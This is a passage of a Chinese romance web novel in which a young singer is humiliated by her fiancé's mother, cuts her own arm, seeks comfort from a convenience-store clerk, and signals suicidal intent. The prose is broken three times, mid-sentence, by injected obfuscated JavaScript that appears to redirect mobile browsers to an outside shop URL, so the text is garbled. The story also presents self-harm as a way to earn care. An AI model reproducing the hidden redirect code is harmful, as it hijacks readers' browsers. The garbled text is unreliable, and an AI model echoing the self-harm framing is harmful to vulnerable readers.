徐南芳在笑。那笑容得体而优雅,眼底却有一闪而过的戏谑。 她是故意的。 闻栩心底明了。她没有拿筷子,垂眼看向面前的碗。白色的骨瓷碗,干干净净,让她想起几天前的那碗皮蛋粥。那个夜晚,那碗粥,那个人。 心里的难受得到了片刻的缓和,也似乎有了点底气。 “吃不了。” “怎么就吃不了啊?”徐南芳还在追问,语气里带着恰到好处的困惑。 “我海鲜过敏。” “是吗?” 徐南芳挑了挑眉,像是第一次听说。 “妈,你不知道吗?” 步洄游没料想到晚饭是全海鲜宴,连忙替闻栩打圆场,“Vibby和秦阿姨一样,碰不了一点海鲜的。” 徐南芳的目光移到自家儿子身上,眼神里带着不满——怪他分不清场合,怪他胳膊肘往外拐。 她又嫌脸上无光,话便冲着闻栩去了:“这才订婚多久,我这个宝贝儿子胳膊肘就往外拐了?要真结婚了,眼里还有我这个妈吗?” “妈……”步洄游为难。 真不愧是编剧。闻栩腹诽,这台词跟晚间档婆媳剧有区别吗? “妈,少说点吧。” 步洄游试图打圆场,“Vibby难得来一次,你别吓到她。” “她就这么不禁吓吗?” 徐南芳反手一撇,眼底是威严,“小秦姬,你看看这一桌子菜,伯母我也费了不少力气。你多少赏点脸,吃一口也行啊。不然多浪费。” 闻栩定在桌前。双手虚握,伏在膝盖上,始终无动于衷。 “又哑巴了?” 徐南芳咄咄逼人,“该不会又犯病了吧?是最近没去医院检查过,还是忘记吃药了?我也真是见识到你犯病的时候,不知道的还以为你是故意借病恶心我呢。” 闻栩依旧沉默。 “妈!”步洄游蹙眉。 “我说你了嘛?吵什么!” 徐南芳一拍桌子,转脸过来质问闻栩,“跟你说话呢,小秦姬!对长辈不礼貌,也是你妈教的嘛?” 闻栩眉目轻颤,桌底下的手拽紧了裙边。 她自认为自己的脾气一向不算好。以前在公司看到新人练习生被欺负,她就没少出头。忍就忍了,忍不了也就忍不了。 譬如现在。 忍了够久了,也没必要再忍。因为忍再多,该有的惩罚手段,她统统都躲不掉。 闻栩抬起眼,对上徐南芳的目光。那目光里满是居高临下的审视,像是在看一个不懂事的孩子,又像是在看一个碍眼的物件。 她忽然觉得很累。 也很可笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481869|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “您的好意我心领了。” 她开口,声音不疾不徐,“但吃不了就是吃不了。就算吃得了,这么多菜,我吃一口也是浪费,吃两口也是。今天我吃到过敏,吃到躺在太平间,也还是浪费。那吃不吃,也就没有意义。” 徐南芳脸上的笑僵了一瞬。随即又恢复了那副惊讶的表情:“哪有这么严重啊?你这孩子,说话挺会上升高度的。再说下去,阿姨都要进监狱了。” 闻栩拿起筷子,配上虚假的笑:“如果您真不怕承担刑事责任的话,我真可以吃一口。” 徐南芳被反咬一口,好颜色渐渐褪去。眼角皱纹里都露着厌弃。 闻栩干着一张面无表情的脸,与她面面相觑。 步洄游怕闻栩动真格,伸手将她手中的筷子抽走,随手扔在一边:“Vibby,你不用吃,也少说点话。” 说了那么多,闻栩才想起边上还有个步洄游。她这个假未婚夫,在外面花天酒地,做大哥收小弟,一回家就现了原形。让他夹在自己和母亲之间,也是为难他了。 闻栩干脆演起戏。晨间婆媳剧的台词,她或多或少会说一些。 “我只是说了几句话让你妈不舒服了,你就急了?”她看向步洄游,眼神里带着恰到好处的受伤。 步洄游一愣。很快意会到闻栩的意思——她想借着吵架离开现场。局面虽然难堪,但却有效。他不得不配合:“我是在护着你。” “你说这话有几分可信?” 闻栩冷眼扫过一桌子海鲜,忽然不明就里地笑了一下。 那笑看似勾人,却短暂。很快就消失了,像错觉一般。 但步洄游却在那一刻意识到——自己做了一个多么错误的选择。他想去弥补什么,想说些什么—— 闻栩已经摘掉腿上的餐巾,随手一扔。随即头也不回地拎着包走了。 “Vibby!” 步洄游起身去追。 徐南芳一把拉住他的胳膊,将他拦下。她扬着嗓,故意想让闻栩听见—— “你的眼光一如既往的低劣!选谁订婚不行,偏要选秦姬的孩子?你看看她,小小年纪就爱穿成那样,果然跟她妈一个死德行!” 她顿了顿,声音越发尖利:“有句话怎么说来着?爱勾引人的贱货真是会生啊!还一生一个准,这不就又生了一个爱勾引人的小贱货嘛!” 步洄游来不及捂住徐南芳的嘴。他心道不好,抬眼看向餐厅门口。 话音刚落。 走掉的闻栩又折了回来。 在任何人来不及阻拦之前,她率先掀了桌子。 哗啦——满桌的海鲜盛宴倾倒在地,盘子碎裂,汤汁四溅。 然后,她拿起橱柜前的一瓶红酒,二话不说,朝没反应过来的徐南芳扔了过去。 砰! 酒瓶在徐南芳脚边炸开。殷红的酒液溅了她一身,裙摆、鞋面、甚至脸上,都是狼狈不堪的红。 徐南芳愣住了。她低头看着自己满身的狼藉,脸上的表情从惊愕到愤怒,又从愤怒到难以置信。 而闻栩走上前,捡起地上的瓷片,在自己手臂上留下了一道划痕。 鲜血翻涌而出,步洄游握着她的手臂:“你做什么!” 闻栩对他关心视若无睹,只对徐南方说:“我妈就算再让你讨厌,阿姨,你也是输家。” “你说什么!”徐南方大怒。 闻栩毫不留情:“你不懂我的意思嘛?” “Vibby!”步洄游出声制止她。 伤口的血滴落在地,闻栩对步洄游置若罔闻,对着徐南芳冷声道:“阿姨,你倒是不贱,可遗憾的是,我爸爸连对你下手的意思都没有。” * 从步家出来,闻栩走了很久。 她不知道自己走了多远,也不知道自己要去哪里。只是机械地迈着步子,一步一步,沿着路灯昏黄的街道往前走。 胃里翻涌得厉害。那股海鲜的腥味仿佛还萦绕在鼻尖,挥之不去。她扶住路边的电线杆,弯下腰,干呕了好几下。 什么也吐不出来。 眼泪却掉了下来。 廖平赶到时,她已经在路边蹲了很久。夜色浓稠,路灯在她身上投下一圈昏黄的光晕。她蜷缩在那里,像一只被遗弃的小动物。 “闻栩。”廖平快步走过来,蹲下身,声音里满是担忧。 闻栩抬起头。脸上还挂着泪痕,眼睛却已经干涸了。她看了廖平一眼,没有说话,只是站起身来,跟着他上了车。 一上车,她就疲软地瘫在后座上。 手机被她扔到了角落里。屏幕上不断闪烁着步洄游的来电,一个接一个,轰炸似的。她没有理会,连看都不想看一眼。 在她看来,步洄游和当年一样,始终令人讨厌。 他家也是。 车窗外,上都的夜色流光溢彩。霓虹灯闪烁,车流不息。这座城市的夜晚永远这样热闹,仿佛所有的悲伤都会被淹没在喧嚣里。 闻栩靠在车窗上,看着窗外飞速倒退的景色。 她想起那碗粥。想起那个夜晚。想起那个人对她说—— “晚安,闻栩。” “我记住你的名字了。” 手臂上的伤一直在渗血,可能是太疼了,闻栩眨了眨眼,鼻尖酸涩,眼泪流了下来。 6. Chapter 6 买兜便利店,晚十点。 闻栩推门而入,风铃发出清脆的响声。她第一时间看向收银台——店长大叔正对着电脑做一天的账目结算,手指在键盘上敲得飞快。 她在店里晃了一圈,没看见想见的人,又绕回收银台前。 “叔叔,习颂什么时候来呀?” 店长抬起头,一眼就认出了她。就算戴着口罩,那双大而明亮的眼睛也让人印象深刻。他甚至觉得有点眼熟,像极了一个小明星——叫什么来着?话到嘴边,一时又想不起来。 见小姑娘还在坚持,他还挺意外:“小美女,你还在偶遇啊!” “是啊。” 闻栩眉眼弯弯,口罩上方露出笑意,语气里带着藏不住的雀跃,“所以,他什么时候来呀?” “就这么迫不及待?” “是很迫不及待啊!超想见到人的!” 店长大叔被她的直白逗笑了,摇摇头,一副“思春少女真可怕”的表情。他用下巴戳了戳门外:“刚让他去扔垃圾了。你去迎接他一下吧。” “好嘞!这就去!” 话音刚落,闻栩已经像一阵风似的飞了出去。 垃圾处理站在百米开外。闻栩跑过去时,习颂已经处理完垃圾,正站在垃圾桶前,一动不动,像一株静止的木桩。 夜色浓稠,路灯在他身上投下昏黄的光晕。他就那样安静地站着,不知道在想什么。 闻栩一看见那抹瘦高挺拔的身影,就举起手在半空中晃了又晃:“习颂习颂习颂!找到你了!” 她的出现太过意外,呼唤太过热情。习颂收了涣散的心神,转头看过来。 闻栩小跑到他身边,摘下口罩,叉着腰直喘气:“别说,还有点距离的。” 习颂低眉看她。粉色的兔子发卡很好地固定住她的头发,露出少女小小的耳朵,在路灯下透着淡淡的粉。 他抿了抿唇,提醒道:“一百米不到。” 闻栩了然:“我就说肯定有超过一米!难怪把我累成这样。” 习颂:“……” 闻栩说完,见他光看着自己不说话,有些不好意思。她忙不迭老实交代:“别那么看着我。我体育真的不好,跑步之类的项目,我达不到及格线。” 她轻轻喘息,脸上还带着单薄的绯红。 习颂慢慢移开目光,落到身后肩并肩的影子上。他轻轻“嗯”了一声:“看出来了。” 闻栩:“……” 别管啦,她要颓丧啦。 “但是。”习颂忽然开口。 “嗯?”闻栩竖起耳朵。 习颂的眸光顺着月光轻轻垂落在她脸上:“你还是跑过来了。” 闻栩一愣。 “上次和这次都是。” 习颂平铺直叙着事实,语气平静得像在陈述天气,“你每一次都是跑过来找到的我。” 闻栩不好意思的摸了摸发烫的耳朵:“很奇怪吗?” 习颂摇摇头,目光落在她眼睛里,带着某种探寻的意味。 “你很期待见到我吗?” 听他毫不掩饰的问题,闻栩眨了眨眼。反应慢半拍的,耳朵一下子软了下去。 习颂说得没错。每次期待同他见面时,她就会义无反顾地跑向他。 闻栩并不隐瞒。她大幅度地点头,点完又有些忐忑——会不会太明显了? 原以为习颂会为她的直白感到吃惊。他却只是看着她,微凉的声音从斜上方传来:“目的性很强。你真的很像在刻意碰瓷。” 闻栩:“……” “刻意”两个字,被习颂咬得极重。 好吧。 她又凉了。 “不过…” “啊?” 习颂转过脸,看着她的眼睛认真道:“我不介意。” 闻栩:“嗯?” 习颂斟酌着,目光坦然:“我不介意被你碰瓷。” 闻栩:“……” 两人磨磨唧唧地往回走,背后的影子被拉得很长,好似突然长大的未来,他们仍在一起。 闻栩不经意间回头,对着碰撞相贴的影子微微愣住,脑海里下意识浮现出当年秦姬和那个人在一起时也曾这样悠悠哉哉的经过一块又一块的石砖路。 然后,在下个路口,他们却分开了。 那个人强硬的拽开了秦姬握紧的手—— 闻栩的心脏忽然皱在了一起。 “习颂!” 习颂下意识回头看她,垂在身侧的手却忽然塞进来了什么柔软却冰冷的东西。 习颂:“……” 闻栩牵住他的手,第一次感受到一个男生的手可以如此温暖,她紧绷的神经渐渐放松,如同噩梦消散,垂着头,疲惫的去央求着手的主人:“别松手,好不好?” “别丢下我一个人。” 台词和记忆重合,她复刻着当年的情景,麻木却故意,将自己变得楚楚可怜起来。 当年的那个人铁了心要走。 现在的习颂比月色下的黑夜还要安静,沉默寡言成了盾牌,无声无息的站在原地,停住几秒,任由她握着自己的手,没有振开的痕迹。 闻栩跟着他走着,嘴角浅浅扬起,眼底亮了起来。 回到店里时,店长大叔已经结束了清算工作,正把马甲往墙上挂。余光瞥见他俩进来,他打趣道:“这就回来了啊?” 闻栩也就敢在习颂不在的时候大放厥词。现在正主就在身边,她可收敛了,做回乖乖的小女孩。见习颂进去卫生间洗手,她才凑到店长大叔跟前,悄咪咪地说:“老板还不走啊?” 店长大叔戳了戳她的脑门,也是上道的:“这就走了。我有老婆,你没有。我回家找老婆了,气死你!” 闻栩比了个OK的手势:“嗯嗯嗯,去吧去吧!” ——算赶人了。 所以,习颂走出卫生间时,店里就只剩下闻栩一个人。 她正站在收银台前,替他当班。见他走过来,她问:“你要上到几点?” 习颂从墙上取下马甲套上:“凌晨两点。” “这么晚啊?” 闻栩皱了皱眉,“你每天睡得饱吗?” “睡得饱。” 谎话成分居多。但真要能享福,谁不想睡得饱饱的?她没继续问。习颂反问她的话,她也会下意识撒谎,说自己一觉就能睡到大天亮。 好在习颂没问。他穿好衣服,手扬着,撑起挡板。 “出来吧。” “好。” 闻栩应着,从他胳膊下的小空间钻出去。 习颂的声音忽然从头顶传来:“你的手臂怎么回事?” “啊?” 闻栩装模作样的两条胳膊换着来回看,才在左边小臂外侧找到一道伤口。 是划伤。不算浅,因为在胳膊的后外侧,不仔细,刚下夜色下太黑,根本看不到。 伤口已经停止了渗血,边缘结了层暗红的血痂,很薄很薄。 “五厘米。”习颂皱眉说。 “?” “伤口。” 闻栩惊叹:“你的眼睛是尺吗?” “嗯。” “我不信。我要去拿尺子量一下。” 闻栩的犟种属性发作了。她跑到文具区,拿了把尺子,隔着包装量了一下——还真是。整整五厘米,分毫不差。过于夸张,但也差不了多少。 习颂是等她佐证完,乖乖走回来的。 “你好厉害。”闻栩真诚夸赞。 习颂没应声。他已经拿了一次性棉球,给她消毒伤口。动作很轻,指腹隔着棉签,小心翼翼地按压。 这过程,闻栩没吱声,眉头也没皱一下。 仿佛身体不属于她,又或者是习惯也是麻木了。 “这样就好了。” 闻栩拧着胳膊看。室内有空调,酒精一下就挥发了,剩下碘伏的棕色还残留在皮肤上,和她白皙的肌肤形成鲜明对比。那道红痕也是,小小的五厘米,放在她手臂上却那么显眼。 习颂快速地撇开视线。下垂的眉眼里,藏着深不可见的颜色,他只能火速的在伤口上盖上纱布,贴上布胶。 这一切通通落在闻栩眼里,她感受不到疼,只是道:“谢谢。” “你总是会受伤吗?” 习颂有一搭没一搭地收拾手边的医药箱。闻栩就在一旁看着他,对他的问题充耳不闻。 没有认识几天,她不会当着习颂的面脱掉衣服,让他看清自己身上还有多少新鲜的、或者陈旧的伤痕。 闻栩冷不丁问了句:“你心疼了吗?” 习颂停下手下的动作,视线落在她的手臂上:“真的不疼吗?” 闻栩愣了愣,最后选择摇头:“不疼。” 习颂没再说什么,不知道从哪里变出来的,递过来个东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481870|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。 她却还没来的细看,恰好店里来了顾客。 有事可以转移注意力。闻栩也怕被人认出来,掩住口罩躲到了一边,摊开手—— 是一颗大白兔奶糖… 闻栩:“……” 可能是伤痕唤醒了下午那段不好的回忆,闻栩这才后知后觉——她从中午到现在,一口饭都没吃。 她走到货架前,拿了两桶泡面。混在顾客里,找习颂结了账。 她把泡好的一桶给车上的平叔送了过去,自己抱着另外一桶,坐到角落里的窗边,慢慢吃了起来。 那会儿店里不再有客人。路上也很少见人走,来来回回的车穿行在街道上,车灯拉出长长的光影。闻栩看得有些眼花。 一瓶罐装酸奶被推到她面前。 是她第一次在这家店里买的那款。进口的,玻璃罐装,酸酸甜甜。 闻栩吃完面,就着喝了一大口。甜滋滋的,心满意足。 肚子饱饱的,她发了誓:“这个月最后一顿晚饭!” 习颂瞥了眼她的桶装面——小鸡炖蘑菇口味。 “蘑菇中毒?” 好冷的笑话。闻栩捧着脸笑:“才不是!认真的!月底有演出,我要拿出最好的状态上舞台。” 说完,她才想起来,习颂可能不知道她是干嘛的。她连忙解释道:“对了,我其实是一个小歌手。有一个乐队。” 习颂“嗯”了一声。 这个“嗯”不知是何意味。 是早就知道?还是现在才知道? 闻栩不在意。她缺根筋地没有去打听。她的身世和地位,从来不会让她高傲到需要炫耀。 习颂没再吭声。他安静地坐在她身边,学着她,望向窗外街道上寥寥无几的车辆。 他们并肩坐在一起。在静谧的夜晚里,陪在彼此身边。 闻栩忽然明白——现在是“习颂闻栩时间”。和别的身份没有关系。和那些乱七八糟的事情也没有关系。 只是他们两个人,坐在一起,看同一片夜色。 她忽然想起,秦姬也曾在一家便利店里,和那个人并排坐着,聊着未来。那会儿他们有共同的兴趣爱好,共同的梦想。也仅仅以为,靠着相似就能走到一起。 一直—— “笨兔子——”她说。 习颂投来不解的目光。 闻栩不打算为自己的口无遮拦解释。她只是捧着脸,将自己别在耳边的兔子发卡取下来,卡到了习颂的头发上。 习颂想摘下来。被她按住了。 习颂也就妥协了。 闻栩冲着习颂开始一味地笑。 这是往后很多时候,她透过习颂想起别人时,下意识瞒着习颂,心虚的习惯。 她做不成好女孩,但靠自我伤害,能换到习颂的关心,一点都不赖。 毕竟,这个时候的习颂,已经会为了她的笑而在她身上久久停留目光了。 * 直到午夜十二点,闻栩才踏上回家的路。 临上车前,她站在车门边,耳朵泛起了红。闷闷的,比粉兔子发饰的颜色要深一些。 她抬眸看向习颂的眼睛。那里一如既往的清澈干净。她忽然就有了底气,问出了今天因为受挫而迟迟没有问出口的话。 “习颂,我今天穿得好不好看?” 这一身,原本就是为了见他,才穿上的。 并不是像徐南芳所说的,想要勾引谁。她只是单纯地想在他面前穿得漂亮一点,好让他因此对自己留下些好印象。 可是——真的是这样吗? 她想瞒着自己,去当一个坏女孩来着,她就是故意打扮,想要撩拨习颂,就像当年的秦姬,用尽自己的美貌才追到了那个人。 似经她提醒,习颂第一次垂眸,视线落在她身上。 修身的黑色吊带裙,镂空的米色毛衣。盈盈一握的腰肢,细长白嫩的腿。晚风吹过,裙摆轻轻晃动。 他的目光在她身上停留了片刻。然后,重新降落在女孩儿唇边的笑上。 闻栩正冲着他笑,也只冲他笑。 眉眼弯弯,眼底有光。 和大屏,舞台,海报,视频上每一帧的遥不可及时的闻栩一点都不一样。 真实的闻栩就站在他的面前,受了伤,手很凉,心也脆弱。 习颂气息微沉,点了点头。 “好看。” 7. Chapter 7 “我穿这一身好看吗?” 电视里,秦姬的声音慵懒而温柔,带着恋爱中女人特有的娇嗔。那是一档二十年前的综艺节目,画质有些模糊,却挡不住秦姬那张脸上明艳动人的光彩。 闻栩就在这一集反复的播放中睡着了,也是难得在没有服用药物的前提下睡了一趟好觉。 醒来之后,身子犯懒,沾了床就不愿离开。直到下午四点,才被床头震动的手机浑浑噩噩地吵醒。 她翻了个身,眯着眼看向电视。 屏幕上,秦姬正对着镜头笑。她身边站着一个男人——年轻,清瘦,眉眼干净。穿着一件再简单不过的白色T恤。 对着这种不太爱笑,也不爱说话的男人,秦姬依旧笑的很灿烂。 闻栩认得那个笑容。那是秦姬真正爱上一个人时才会有的表情,而这种笑容,她一次都没有给过闻鹤津。 闻栩承认秦姬的这种笑容很好看,她最近一直在努力的学这样的表情。 眉眼,唇畔要怎样配合,才能让别人误以为是喜欢呢? 节目还在继续。那段对话之后,隔天晚上,秦姬就在节目里对那个人表白了。银幕初吻也是那个晚上献出去的。再后来没多久,他们就真的在一起了。 闻栩盯着屏幕上两人相贴的影子,忽然想起昨晚的事。 “习颂,我今天穿得好不好看?” “很好看。” 那她是不是也要亲一下习颂呢? 亲过之后,习颂会跟她在一起吗? 思绪在这时被震动的手机打乱。 步洄游从昨晚事发之后一直电话骚扰,没完没了。闻栩直接把他拉黑了,这才换得耳朵里的清净。但心里的烦闷始终散不掉。她索性眼不见为净,越过步洄游,给周晋发了条消息——今晚乐队彩排告假。 讨厌步洄游到了极点后,闻栩再睡也睡不着了。她忽略掉手机里医生发来的复诊提醒,起床洗漱,打算出门吃饭。 今天习颂上小夜班,从下午五点到晚上十一点。这会儿过去,能和他一起吃微波炉加热的小快餐。 闻栩站在衣帽间里,对着满墙的衣服挑挑选选。 最终,她换上了一套粉色的连衣裙。淡淡的樱花粉,裙摆刚好到膝盖上方,收腰的设计显出纤细的腰身。她在镜子前转了个圈,满意地点点头。 出门时,廖平已经在等了。 路程要一个多小时。闻栩戴上耳机,打开节奏大师。新的一关斩杀即将结束时,突然一阵急刹车—— 她整个人往前俯冲,安全带勒住胸口,又重重地撞回后座上。 手机掉在地毯上。闻栩痛得倒吸一口冷气,缓了好一会儿才蹙眉道:“怎么了,廖叔?” “步少……”廖平看向前方,一阵犯难。 在他踟蹰的片刻,闻栩已经看到了车前那辆火红色的跑车——嘴对嘴地拦住了他们的去路。 限量款。不用想都知道车主是谁。 步洄游换了新车。他从车里下来,一路没有停顿,目标明确地走过来,最后停在闻栩的车门前。 “下车。” 他敲着车窗,隔着单向透视的玻璃命令道。 闻栩装聋作哑,不予理会。 步洄游直接拉开车门。他搭着车门框,又重复了一遍:“下来!” 闻栩依旧无动于衷。甚至连一分眼神都没给他。她的游戏没打完——也没有打完的那一天。 “不说话?又犯病了是吧。” 步洄游耐心耗尽。请不出来就只能来硬的。他弯身钻进车里,一把将人抢了出来。 突如其来的失重感终于让闻栩有了反应。她下意识抱住他的脖子,惊叫道:“步洄游!你做什么?!放我下来!” 步洄游哼了一声:“原来你能说话?” 闻栩狠狠捶了他一拳。被他抱在怀里,她偏过头,满脸愠色。 “廖叔你先走吧。我等会儿送Vibby回家。” 不仅抢人,步洄游已经开始赶人。 他一直都这样。每次惹得闻栩生气,就见不得身边有别人。贵公子的脾气差得不是一星半点。廖平只是个打工人,虽然担心闻栩的安全,但来者不善,明哲保身才是良策。 闻栩被步洄游抱到了他的车上。副驾门开了又关。他上了车就给车门落了锁,不让闻栩乱跑。 步洄游今天白天跑了通告,身上是规矩的西装。闻栩吐槽过好多次“败类穿西装,装货”。现在“装货”早就离开镜头了,不装了。束缚手脚的西装外套被他随手一扔,丢在后座上,又滑落到地上。 他急不可待地按着闻栩的座椅,将她放倒。然后倾过身,跪着凌驾于她之上。 空间变得更加狭小。闻栩挣扎着,却被死死按住,动弹不得。 她睁着眼,干瞪他:“步洄游,我们之间,到底谁有病?” “都这个时候了?”步洄游控制着她的身体,食指勾着她的发丝玩弄,“你都不害怕吗?” 闻栩冷眉一转:“如果你敢,那你就要清楚——以后我们连朋友都做不了。” “那我还真不敢。”步洄游怂得快。他敛了神色,言归正传,“我妈那事儿……” 就知道是为了这个。闻栩憋着一口气:“过去了。” 步洄游戳了戳她的腮帮:“可你在生气。” “我不能生气吗?” “可以,当然可以生气。” 步洄游说,“你生气了,我自然要负责哄的。但麻烦你解释一下——” 他往车外抬了抬下巴:“你来这儿什么意思?天天跟那个人黏在一起是什么意思?你喜欢他吗?” 闻栩:“……” 跟踪她?不然怎么知道这个地址,以及她和习颂见面的频率? 闻栩下意识反驳:“喜欢他怎——” “不能!” 步洄游截住她的话。语气凝重,全是威胁与警告。 攥住她的手青筋曝露,他压声警告道:“Vibby,你不能喜欢他。” “好笑。”闻栩实话实说,“你谈着数不清的恋爱,凭什么约束我?况且,我怎么就不能喜欢他?光他那一张脸,我就很喜欢!” “Vibby!” “怎么!” “你明知道我对你的感情!” “我不知道!” 面对步洄游愤懑的屈辱,闻栩冷声道:“步洄游,我说过的吧,我讨厌你,从第一次见面,我就讨厌你。” “……” 他们一个咬得比一个紧。步洄游偏又不肯示弱,气到一定程度,只道: “果然,你跟你妈一个样。” 闻栩一怔。 身体逐渐失温:“你什么意思?” “还能什么意思?”步洄游冷哼,“净喜欢些小白脸呗!” 闻栩僵在原地。 这话如同一记重锤,敲得她脑子嗡嗡作响。明明是清醒的,此刻却像从前反复做的噩梦一样磨人。 现在的步洄游和当日的徐南芳有什么区别?咄咄逼人起来的模样一样令人作呕。他们真是一家人——兴许徐南芳早就把知道的一切都告诉了步洄游。 但闻栩却没有了当日的底气。步洄游知道更多细节。能抓住她痛点的人,目前只有步洄游和她的父母。 闻栩不免有些慌。浑身克制不住地开始发抖、颤栗。口齿不再清晰,强势的劲儿却执拗地不减半分。她低声质问: “你什么意思?” 意识到多了嘴,步洄游有些无措:“我……” 还没想好回话,闻栩先发制人地抓住他的衣领,死死扯住,逼问道:“说啊!” 步洄游哑然。 明明只是为了气人而一时失口。可闻栩的局促与害怕又太明显。仿佛刚才脱口而出的话踩住了她的尾巴,她应激性地开始失控。 可明明一分钟前,她对她的强硬还熟视无睹。 步洄游有了猜想。他下意识松了些手上的力道,眼神恢复清明,语气也轻了下来: “没什么意思。我什么都不知道。反倒是你——” 他攥住领口下那只白皙的手:“Vibby,你最近是不是没有按时看医生?更没有好好吃药?” 闻栩抿着唇,控制着身体的不适。她忽略了步洄游的问题,仍旧抓着旧事不放。步洄游挽回的答案已经太晚了——从他脱口的那一刻起,就没了意义。 那些耻辱、羞愤,一股脑地涌上来。理智被瓜分蚕食,真实的、稀泥一样的东西搅在一团混乱的思绪里,有迹难寻。 “秦姬那些荒唐的情事,放眼整个圈内还有谁不知道?” 闻栩艰难地吞下一口气,“可你不应该总拿我妈说事儿。步洄游,我跟秦姬不一样。” 前不久簇生的轻生念头,在这一刻成形。她伸手攥紧男人的衣领,指甲透过衣料陷进肉里,引得步洄游一顿皱眉。 “有什么不一样?”步洄游顺着道,“你的长相、性格、习惯,和秦姬有哪里不一样吗?” “我是我,秦姬是秦姬。”闻栩强调,“我们哪里都不一样!” 步洄游冷不丁嗤笑一声:“开什么玩笑?” “那你呢?” 闻栩拧着眉,质问道,“那你和其他人又有什么不同?你和他们一样,都认为我是秦姬的复制品,对不对?步洄游,我对你很失望,讨厌你是最正确的决定了。你为什么要和他们一样,不停地逼我?” 步洄游拧起眉困惑不解:“和秦姬相像有什么不好?你妈带给你的美貌、天赋和财富,是多少人耗尽一辈子都得不到的东西。Vibby,你为什么不知足?” 知足? 痛苦是源源不断的,难道也要珍惜吗? “你们都在逼我。”闻栩的声音开始发抖,“每一个见到我的人都在逼我。包括你,步洄游。” “我没有……”步洄游试图辩解。 闻栩却像听不见一样,继续反驳:“没有的话,你刚才的质问又是什么?” “Vibby……” “为什么啊……为什么啊……” 闻栩陷入了自我的囚牢。她重复着这一句话,眼神涣散,声音越来越轻,像是说给自己听。 步洄游看向她无法聚焦的眼眸,对她的不对劲更加确定了。目光游移,情绪失控——她视周围的一切不复存在。 “药呢?”步洄游问,“Vibby,告诉我药在哪里。你该吃药了。” 他意识到了严重性,没了挑衅的心思。他直起身要去后座够她的皮包,修长的手臂裹着衬衫衣袖的高档布料。 闻栩在车里忽明忽暗的光线下,趁机伸出手,抓住了他的手臂。她用力一扯,将步洄游的上半身又拉了回来。 两人之间的距离一下缩小到无限暧昧的地步。 “Vibby,别闹。”步洄游扬着头,只想尽快解决她的精神问题。 闻栩盯着他近在咫尺的眼睛,忽然说:“步洄游,我们打个赌吧。” 都这个时候了,步洄游问:“什么赌?” “就像过去几年里我们无时无刻不在打的赌一样。”闻栩偏过头,看向窗外。 便利店的灯牌亮着。一个少年从店里走出来,手里拎着垃圾袋。他穿着白色T恤,身形瘦高挺拔。 闻栩的目光追随着那个身影:“第一次见时,我便同你打赌,我会死在那个夜里。当时不是你多管闲事,我真的会得偿所愿。” 她的视线始终落在那个人身上:“现在,请你不要再多管闲事,如果你偏要,那就当是一个游戏,你猜,我会不会真的和秦姬一样。” 步洄游拿到了包。他单手在包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481871|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里翻找,没见到药瓶。听到她的话,他动作一顿:“什么意思?” “意思就是——” 闻栩的目光始终如一地落在那个少年身上。 从前听来的故事,在此刻似乎成了电影。一帧帧的画面都与那个身影融合,分毫不差。 秦姬当年也是这样吗?期盼着和那个人见面,在他身边雀跃着,仿佛变成了另一个人。 闻栩想着,心头翻上一股无名的酸楚。眼尾应景地滑落一滴泪,模糊了眼前的一切。却依旧将那人看得清晰—— 是那个人。 秦姬曾在他生日的每一个夜晚,抱着她不停地哭泣,呢喃着爱的思语。 “我想和他在一起。很想很想。但到最后,我却又不能和他在一起。” “如果没有你,我会更自由。可如果没有你,我就真的会失去与他的联系。” 步洄游沉默。 闻栩的话在他听来,话里话外都透露着隐情。他猜到是什么,也就不再追问。在这种精神状态下也问不出所以然。即便问出,也多半是胡言乱语。 以往的经验告诉他——不管闻栩说什么,顺着话答应下来,将人安抚好就不会有问题。 “好,我们赌。”步洄游凭经验应下,将她搂到怀里,“都听你的好不好?” “赌注是……”闻栩在他颈窝里闷闷的说道。 少女的气息温热,步洄游心甘情愿:“有没有赌注,我都会答应你。” 应允坠落。 “你说的,可别后悔...” “嗯。” “那我要你的痛苦。” “什么?”步洄游哑然。 闻栩不做解答,拍开他安抚的手。也不知道她哪来的力气,一把将他推回驾驶位。她趁机起身开了门锁,转身推开车门。 然后,头也不回地跑了出去——跑向便利店。 “Vibby!” 事发突然。步洄游摸不清闻栩当下的行为,又担心会被跟踪的狗仔拍到。他本能地跟着她下了车,追上去。 闻栩早就有了逃跑的心思。一眨眼的功夫,就跑出去了很远。 步洄游追了一半的距离,便看到只属于他一个人的Vibby,已经跑到了便利店门前。 闻栩好不容易从步洄游的阻拦里挣脱。张开了弓就没有收手的道理。病情加持下,理智消耗殆尽。她唯一能感受到的,是自己的气喘吁吁——以及能无所顾忌地站在习颂面前的狂喜。 习颂刚从后巷扔完垃圾回来。他站在便利店门口,正要推门,忽然听见身后传来急促的脚步声。 他转过头。 